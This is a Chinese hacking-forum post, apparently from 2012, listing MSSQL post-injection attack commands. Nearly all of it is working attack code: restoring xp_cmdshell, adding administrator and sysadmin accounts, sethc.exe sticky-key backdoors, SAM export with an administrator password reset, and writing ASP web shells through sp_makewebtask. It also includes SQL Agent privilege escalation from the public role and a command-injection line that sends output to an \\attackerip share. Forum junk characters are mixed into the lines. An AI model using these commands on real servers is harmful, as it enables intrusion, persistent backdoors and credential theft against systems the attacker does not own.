找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2514|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号6 C5 y: C% E* q' g! F
恢复方法:查询分离器连接后,
" c0 E/ c  l/ o第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
# P$ c/ D$ j& z5 z第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' " w/ W, a6 s1 s
然后按F5键命令执行完毕
- r0 n# B5 x& C0 ?. B8 f7 L
) k3 ^1 J2 F5 _% H8 W2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
; g( r' l' ?4 E恢复方法:查询分离器连接后,
% J' c/ L$ F: c第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
% e8 F. [8 L; G1 }5 U3 V6 r第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
$ ?" v- z8 S, _' D- y然后按F5键命令执行完毕
9 g$ Y1 V! E$ F
$ D, b4 H+ B& c3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
: _9 e' h  P# P1 e$ \恢复方法:查询分离器连接后,9 s2 R: j, m8 |# B- L, i4 _
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'6 Z1 C+ ]6 I2 K7 f1 D
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       + j2 z& ]4 j2 }0 I& g8 q
然后按F5键命令执行完毕8 G5 P4 j- W0 o4 y, D

% Y( F0 q" Y4 D* Q. K4 终极方法.
7 @% S- i3 s3 Z$ w如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
- i6 C' f) p# V6 C( ^) Q查询分离器连接后,) t0 p" e5 F# b  M+ R# x
2000servser系统:$ ^6 U7 c% Z% y+ K+ J  N
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
, D, |& K# |2 n
. l" h& d9 C5 jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'2 h( I* P. `% w4 W
' l8 H4 n. s2 D. b2 y
xp或2003server系统:6 |4 E5 F( _; {5 J- o6 J8 A

$ L2 V- A6 E3 s6 \) o0 _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
$ K# C& d3 e7 P( E0 J# R
, s/ z. P- E* S. m" f/ ndeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
* t3 Q$ `6 X1 X8 [& T# k! M& N3 E: h' K* `9 o: r# y3 V
8 Y+ F" d9 g' y; h
五个SHIFT6 F6 ?+ ]! N; S* @" j% q3 Q
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';! ?; ~6 |* D( @8 W' W. H
+ D: h3 X; W8 D- j6 a" {* l
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
0 D, L, Z5 i& C
7 J8 L2 j% q( f- T# pxp_cmdshell执行命令另一种方法
( P& }- K2 j6 u* U  x3 I' o: J. Qdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ! A: H2 w" T" ]. U" v- i5 j6 V

9 i( A7 n' p' W; J$ d4 a6 K5 z判断存储扩展是否存在  F! g+ W9 ~0 H! _8 f
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
: R% u4 M% r- K- R* }: l. N6 g返回结果为1就OK& T2 Z" C4 a+ K4 I# ~3 m9 e
( ?  ~' F, `8 U% C  ?% W3 b
0 I, k3 P0 l- t/ q  x/ v0 w
上传xplog70.dll恢复xp_cmdshell语句:0 i: j! V, s$ Y% |% a
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
. ~0 E5 _2 w9 c! E% ?0 z. t$ u8 j8 e" P2 _0 A
否则上传xplog7.0.dll
, l' Y! G* |, ]+ fExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
' J. g1 x! I* n* b
) E% p/ P/ j  s$ n9 n8 p5 C: j- F, c6 E+ X& d
5 d6 a2 r6 d; Q" O" b8 W& x
首先开启沙盘模式:
* M6 D( N) X$ S. b3 U! lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
* ]; J: w' Q" N; \6 D6 e. L& b( ?: ?& ]% E5 u2 d
然后利用jet.oledb执行系统命令6 O6 p& q2 Y$ V4 u
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
, I. Y/ Y4 ]& ^2 z4 t& m返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了9 D* h7 x1 R, j# {
1 K7 K' F9 @& G4 a

' `6 P7 p, c6 o6 X, v
; b0 k0 F/ |. M( T9 `& A0 t0 p恢复过程sp_addextendedproc 如下: % o3 M  k( |& U' [
create procedure sp_addextendedproc --- 1996/08/30 20:13
6 ^$ b% X" _+ R2 x  J5 C1 \- z@functname nvarchar(517),/* (owner.)name of function to call */ + S0 Y8 M# h! }! w# g
@dllname varchar(255)/* name of DLL containing function */
' f' a2 q1 _% l2 h: e: L+ ]9 ^as
9 E; ^7 T$ S# a. }5 jset implicit_transactions off - ]. \1 P1 j  J* I
if @@trancount > 0 3 ^5 y$ k! I/ E) c
begin 6 m7 t" M' K, T
raiserror(15002,-1,-1,'sp_addextendedproc')
- |/ P: I& O# e( s! d0 M( Nreturn (1) ' F. ~9 l7 V, r* T, D- k% ^' e
end ; ?0 Q9 B$ R4 G( }" g
dbcc addextendedproc( @functname, @dllname) 3 {! J+ u' D! {$ T
return (0) -- sp_addextendedproc 3 w; {7 `- m/ W: l9 T
GO
+ P0 f( R2 ]# N8 l, E
5 g2 p( s. N, X& U. i  @  ]& m& n" G" \8 w3 J& F

  C5 N! a8 J% z% d导出管理员密码文件
  H, v5 n4 {* Z! \# F9 `4 a, Msa默认可以读sam键.应该。
6 A! G% ]7 J( W4 e" W/ Kreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
- p8 C+ r, J& G& K' b+ I5 knet user administrator test
3 U0 o" E3 F3 I+ q8 I2 p用administrator登陆.
- b9 V; Q  S- m6 f用完机器后
1 e$ J+ w" ?- B; J/ K# \reg import c:\test.reg
4 \8 o- U& C8 q7 [根本不用克隆." Q) }0 C9 B* H) d+ z. d9 l7 ^
找到对应的sid. % e2 j+ [2 R7 ^* U8 Y

7 h$ n1 c: }& W3 {7 e+ A
) v! Q+ G9 X/ Y. _) i% q; c) h6 u% T* C. A. `" v- A; z
恢复所有存储过程9 Y: C) L* m7 X: d8 g
use master , V4 E0 G1 p! Y) n, E* S3 c
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
( x3 p6 B7 {9 }  rexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
7 H- s1 C7 D" a$ j4 J% C# aexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
* |5 ?/ V% V, @. nexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
% h" A: @$ M7 D! F0 {+ Hexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
8 i3 H% P" F  zexec sp_addextendedproc sp_OACreate,'odsole70.dll'
9 r5 e3 T6 S4 N5 s2 ?6 Mexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 3 A' W" `# n9 J& h" }" s- \
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' % p8 g4 o2 S5 B
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 3 E+ |) m. N9 h+ k( [
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
4 w8 T2 y' T/ U( U/ j5 eexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' % D* c+ E. l% p) M0 S+ L4 N
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 2 u) v/ N4 P+ `$ o' M' K2 S, \% f
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
* I$ x, T# y7 o- i- @! pexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
2 _$ t& a0 ?! S& D! K8 Fexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' / E- o, g1 G  ^& N7 Y
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
, `6 m: ^& y5 B8 E1 rexec sp_addextendedproc xp_regread,'xpstar.dll' 0 d4 p" N7 ~2 \
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
/ Z2 G% T; k! I' f1 Vexec sp_addextendedproc xp_regwrite,'xpstar.dll' 0 J4 m) Q. R' I: v8 D
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
0 [, `' ]6 P4 J- t" D! R% r
  ?( m3 O0 ^$ Q5 x/ T# a& R# o% p6 t( p: e
建立读文件的存储过程
! A& P8 f, e, h; [Create proc sp_readTextFile @filename sysname0 p, e( w' Q- z
as
9 c3 i& U  c4 u0 N+ g+ ]5 a9 s' E& y) z! l( k6 E7 Z
    begin
3 w" F( S1 J) v9 m    set nocount on 7 X4 r" V, B" {: I1 W
    Create table #tempfile (line varchar(8000))
8 \, s# \7 ]5 I0 x% Y' _3 y4 M" `! ~    exec ('bulk insert #tempfile from "' + @filename + '"')4 \6 G( P2 h0 |9 p; F- Q1 s/ D
    select * from #tempfile
4 P9 [+ e% _1 E4 }* Y3 I) p    drop table #tempfile2 D% y) x2 I( P# R- ]9 \( o& ]! k) q8 L
End
+ ]& ^: J' E: L. g0 S
- u) G9 ?1 c* f. V- v! Yexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件6 _9 F* x- \: ^  H1 D2 l
查看登录用户+ k! m  |( f5 p4 b
Select * from sysxlogins
: H. U, D$ v  r% Q* y  c/ N( z4 U6 s
把文件内容读取到表中/ H% D9 n& G1 N# j
BULK INSERT tmp from "c:\test.txt"" `% V; V& ^/ |( ^/ o! L5 {
dElete from 表名 清理表里的内容3 r! |# x' {0 _: z* @1 Y' j
create table b_test(fn nvarchar(4000));建一个表,字段为fn) x/ W4 V0 A- }. G2 _% t
" Q+ _7 e/ u. }( `3 V

: y1 |& {" q* a9 p( G/ S加sa用户
1 ^: x( y& c; f1 v) ~8 ^1 }exec master.dbo.sp_addlogin user,pass;8 w2 u+ Z9 o6 G+ I! x6 {4 [7 X
exec master.dbo.sp_addsrvrolemember user,sysadmin# q' F' M+ z8 z7 S5 U. Y3 N

* K+ y" d) O0 n1 ~2 @
; @7 X% j. F' p7 n8 N
# n& G( e( ]2 A# u: n1 h读文件代码& E' E& c* r8 @) x9 i# y
declare @o int, @f int, @t int, @ret int0 T4 M* s7 E2 \4 x9 W% ]# S+ h
declare @line varchar(8000)
5 p4 |. {8 V+ n: R, U. Lexec sp_oacreate 'scripting.filesystemobject', @o out- k' p% ?' L0 ]% ^
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 12 ]1 j* m1 \/ ?, b
exec @ret = sp_oamethod @f, 'readline', @line out
: t  m, B' D7 ~0 ^1 |while( @ret = 0 )6 i" i% g% H& O- S  ^$ m+ ^
begin. F! _6 W5 _- g) T
print @line
9 d  e, J% U0 N- S" Oexec @ret = sp_oamethod @f, 'readline', @line out9 y8 a8 }; S" L& R8 V4 k3 B
end
0 e. H/ ~. X+ p' ~3 ^- T) D3 `# }" H; T4 V% Z/ a/ V1 n5 t8 D" G  ]

2 v, g4 m+ Q' l2 K# k( s写文件代码:
7 M4 v( ^- w: H/ S! }) \8 e' cdeclare @o int, @f int, @t int, @ret int
- C( z- _) v% Nexec sp_oacreate 'scripting.filesystemobject', @o out
! I7 n! a% u; B% j, G" j. M7 Nexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1( D# J, n; T& d; s
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
# Q5 ]) f; d" I1 m: w6 D; T8 X, w- o0 G( ]5 E

" b: |$ l- U! v# N添加lake2 shell0 K7 R" y" z8 J5 o* A+ f/ x" O
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'" J  o: v" c8 G) M$ H4 l6 f4 j& H
sp_dropextendedproc xp_lake2# _& T7 S% @2 L5 l, K
EXEC xp_lake2 'net user'
$ q; ?$ v* x# F& D' x
7 B- C2 O" T4 s. R3 x/ a9 L* w4 U7 U. Q9 R) I% s
得到硬盘文件信息
2 C9 N% W% ^/ p5 ]8 O--参数说明:目录名,目录深度,是否显示文件
! H  S6 X3 y. t9 Hexecute master..xp_dirtree 'c:' & K; {1 _2 S8 v( y( x$ |
execute master..xp_dirtree 'c:',1
; ~7 ]6 t9 S8 [execute master..xp_dirtree 'c:',1,1 , l+ w! ?9 [8 E* ?! C
2 h0 R! H5 [4 ]2 K, J/ N

& l* Q+ x6 g9 _8 ?6 R4 z3 {) S( V* b读serv-u配置信息
; p0 F; A' l' T$ m: s) |, yexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'" \: o  ]1 R1 ]0 P
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
7 W, }" @. L# x. j1 |  {( X1 ^4 {
通过xp_regwrite写SHIFT后门
/ O, {( l9 B3 l( a4 x4 {& ~exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--' e+ q% E% G# G9 k* \2 e
% i5 d8 g0 ^! k2 v

! T! ?# b! ^  ?2 e. O. Y' N$ h; `+ R0 n; C; C  Y' P# R
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
; U6 d2 e+ H1 q2 \! M/ G0 _. Gexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了# j3 v( z4 M7 j1 `

  g8 Z' q5 l3 F  H: P" jEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
5 N, t* V# _& S6 ~- n& _$ D
! ]" }2 F6 h0 g% \* K
, ~1 u- _  I$ N) \' H! h! j+ S! z2 l6 o, F# j! p: L
sql server 2005下开启xp_cmdshell的办法  N, m9 @1 E3 z2 Y  [

% p* c# l, w1 z+ \. O8 V" b: rEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
7 e$ I5 b5 {1 k
, o9 H* t# r$ v& U+ Q2 P, K7 O& dSQL2005开启'OPENROWSET'支持的方法:; t* g5 j# `. |. U+ W5 Z3 }6 |
7 S3 R& Z) \5 I6 ]
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;0 b8 h+ W. d, |- ?" _# k

5 c1 L# v5 x9 TSQL2005开启'sp_oacreate'支持的方法:
) W9 _' O% }- c/ u9 I6 n9 W) K, W% W
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;6 s% r8 X% v9 g5 |$ u4 E( L  O

/ l" a0 h) X9 [1 w
$ e# H) g$ @% }. L  L9 i; P; `$ y9 ]1 f+ E
/ k0 }( M/ X, A* C

: ~1 t) Z1 b  r' S3 }+ y$ X2 Q* q# F" V& \1 o

" z0 ?3 g( U9 ?8 ?2 @/ ~" R; r8 V# p$ E

2 C5 Z; ?, J2 `! L$ X% Y$ Y2 D! j! Y, C5 L) W1 D! B7 A

& T$ E' Y8 a& d7 ^5 I% h$ n5 ~* m. r$ u0 {
+ @3 W1 V8 q8 {6 I) r; C

4 Y7 o1 R2 n% W& V& Q! v9 B/ }$ R; b$ N

5 [" \% E) J3 ]7 C; u" x& q' O. N: B* K+ b2 X
$ R1 d. M* A$ V, {7 p' e* O

4 }4 A5 f; C& n0 E9 m/ t4 ]& o( j/ E2 d
8 i2 g; Y' E" I  j6 l) y! t
. x- }" K6 A7 v1 G* P; B
" U6 z' [! ^. C6 C% u

/ [0 o) k0 F7 M以下方面不知道能不能成功暂且留下研究哈:6 O: }) C; K' [( l- x
4)3 E% b' b. ?# [' H* R' B
use msdb; --这儿不要是master哟
" y& Z" `7 {; kexec sp_add_job @job_name= czy82 ;
8 {3 Z: z8 {6 ?+ X6 Hexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
' R$ a/ d) K& f' v, L0 g( ]exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;- l8 {+ M! g5 Q
exec sp_start_job @job_name= czy82 ;- Z- j5 h9 b0 @' o6 w& f  R
: I  Q# a! n' i3 g$ L7 G
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以; d# m+ K% m- T- J& I/ i
执行tsql语句了.
' q$ f7 b1 U5 _- J+ }对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
: J; T( h/ y5 B第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
! r( M; c3 v% r9 z/ A; s2 |net start SQLSERVERAGENT
  H/ C* w7 d/ Z; J  i' I9 N) g1 q
. K& p; f) ]# K9 L, \% R1 j对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
8 z/ `9 E) g; U; h1 ?; J# aUSE msdb9 c5 o: ?8 @2 [+ i9 Y* P0 ^
EXEC sp_add_job @job_name = GetSystemOnSQL ,
# D# Y; q3 ?' `/ \@enabled = 1,5 u$ v9 _, p# E' i
@description = This will give a low privileged user access to
% Z+ C4 O# a' wxp_cmdshell ,
2 ~9 U6 P: J0 i; s; h9 @1 N6 l@delete_level = 1
" J% f; N5 n* @3 Q/ u. l% K  {' H, AEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,5 _* ]# h& `. \
@step_name = Exec my sql ,. C2 W7 T* K6 ?$ a7 \+ N# Q# c6 }* j
@subsystem = TSQL ,
  E) S# L( r9 _@command = exec master..xp_execresultset N select exec# O& Z7 Y' D+ Q
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ; ]) w; l! v9 n5 ^5 v% Q
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
" R! ~0 C; Y3 f" N0 v: H/ b1 m- C@server_name = 你的SQL的服务器名 ; o( o% b" K8 E9 O6 b9 V9 g: A5 P
EXEC sp_start_job @job_name = GetSystemOnSQL & x$ ]5 \1 M+ \" C7 C

6 v3 {0 z' o' |7 r/ u8 ^不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以. B/ {* C  E6 ~% h! o/ T" T
才让我们可以以public执行xp_cmdshell, ^3 f; O- |6 o; I

7 y1 W. d% C5 @5 P4 \. M, `3 v5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)  n% l4 T9 F  b
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29689 |0 F2 n1 s6 q8 ]5 |( Y# a

8 Z: R$ P  D! K7 T( B: r* DUSE msdb
$ x* F1 c8 n. c; q+ k* _EXEC sp_add_job @job_name = ArbitraryFilecreate ,
' k$ W, T! y- p@enabled = 1,
/ x8 T* ~' q0 O7 _. p/ Q@description = This will create a file called c:\sqlafc123.txt ,
; y: L( d7 f& }) [0 n1 ~0 v@delete_level = 1% i0 D1 _1 f8 q: ^
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,# j3 H4 N$ \; u. l* `/ {$ S
@step_name = SQLAFC ,
/ ]( i. i' \# }  a@subsystem = TSQL ,5 h' g  V: A( r4 b) y' B
@command = select hello, this file was created by the SQL Agent. ,
+ `: {  D+ J" m$ f2 H@output_file_name = c:\sqlafc123.txt
- Q4 b4 D% i. y& r# jEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
8 @* _& x# W# l$ ]) T@server_name = SERVER_NAME 9 s) E3 q  @/ j% o% }& @7 z/ Z
EXEC sp_start_job @job_name = ArbitraryFilecreate 8 q1 Q- k5 w: j# i2 L6 k! w0 Z

7 B2 _* F% _6 _如果subsystem选的是:tsql,在生成的文件的头部有如下内容3 O. [- w& W- n

- {& O' Z; @( s5 [??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
1 }* F' i9 a+ C2 w----------------------------------------------" a0 b2 ^& j$ G" E/ x- U& L
hello, this file was created by the SQL Agent.8 ~: m3 F; D: R/ G5 S
' X1 C' g4 j, G( n3 L
(1 ?????)
8 K5 R. ^. n9 o  v! n
  M: h' K& J+ d# B所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员, N& I5 ^# G& F$ P: o: t3 j9 @
命令的vbs文件到启动目录!5 [5 D& ^0 U6 d/ ?! M

( [6 Q7 G: x4 b4 O+ y, Q3 d6)关于sp_makewebtask(可以写任意内容任意文件名的文件)$ F0 O* K2 l- X7 L: D) P/ U
关于sp_MScopyscriptfile 看下面的例子2 d& t. R8 Z+ V0 U+ U
declare @command varchar(100) 6 _) H6 x: }8 H7 G' H
declare @scripfile varchar(200) * H+ V- H! F1 C" p
set concat_null_yields_null off - J8 Y6 ?, c! Q( ^
select @command= dir c:\ > "\\attackerip\share\dir.txt"
7 [4 X: L/ O( M( x' [; J; E0 dselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 8 ?. i7 t8 j. V& K
exec sp_MScopyscriptfile @scripfile ,
- C( y' ~& v! H$ v2 l
9 V4 e0 V+ ]# m5 X6 ^这两个东东都还在测试试哟
( i( B  T% }5 n% b$ E2 [; i让MSSQL的public用户得到一个本机的web shell
5 ?2 c+ j7 X8 f- j
4 q+ n' ?( O" i, x6 N6 B6 _sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,# G$ \* |$ O  ~. w! h
--@query= select <img src=vbscript:msgbox(now())>
6 t. p7 l  v# t" Y. W--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> * I2 [4 G. Q2 q* i
@query= select
/ O. F. y5 d8 ^8 C4 w<%On Error Resume Next
: @* w! |. P( k/ B7 j" YSet oscript = Server.createObject("wscript.SHELL")
( z; s( m2 Z8 f; z- `Set oscriptNet = Server.createObject("wscript.NETWORK") $ V2 L4 M' u# I' E: C( C, u  e) Q( \
Set oFileSys = Server.createObject("scripting.FileSystemObject") 9 H% I. w/ d4 T) W! S
szCMD = Request.Form(".CMD") . ]4 c9 v9 s$ o0 |0 N; H
If (szCMD <>"")Then 4 Y" Z$ j5 n1 I9 z: u* r
szTempFile = "C:\" & oFileSys.GetTempName() $ p8 a. a# T8 Y2 r% u; b3 G( b
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
% o) x& @/ b$ s/ n5 JSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
& h/ s8 a$ ?! ]& b1 FEnd If %>
! Q6 O2 N6 I5 j8 v% e: K, y<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> + y; B! R; K  J8 m; N7 c4 n+ K
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
, F) Y4 ]& N3 i) i5 A0 {0 g</FORM><RE>
/ y8 {( `+ S3 f" `/ A<% If (IsObject(oFile))Then
, t) g. @" J- UOn Error Resume Next 5 A" r5 I# T2 t/ e
Response.Write Server.HTMLEncode(oFile.ReadAll) 1 ^/ D! t/ D9 C3 ?2 |! A
oFile.Close - t. V# u) O5 S# R2 X* J% {! ^
Call oFileSys.deleteFile(szTempFile, True)
* j; J! E8 \2 k1 G: |/ cEnd If%> + o  @" e& b. I- |- F; k
</BODY></HTML>
* ~" B* J) S: j+ D5 w1 r9 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表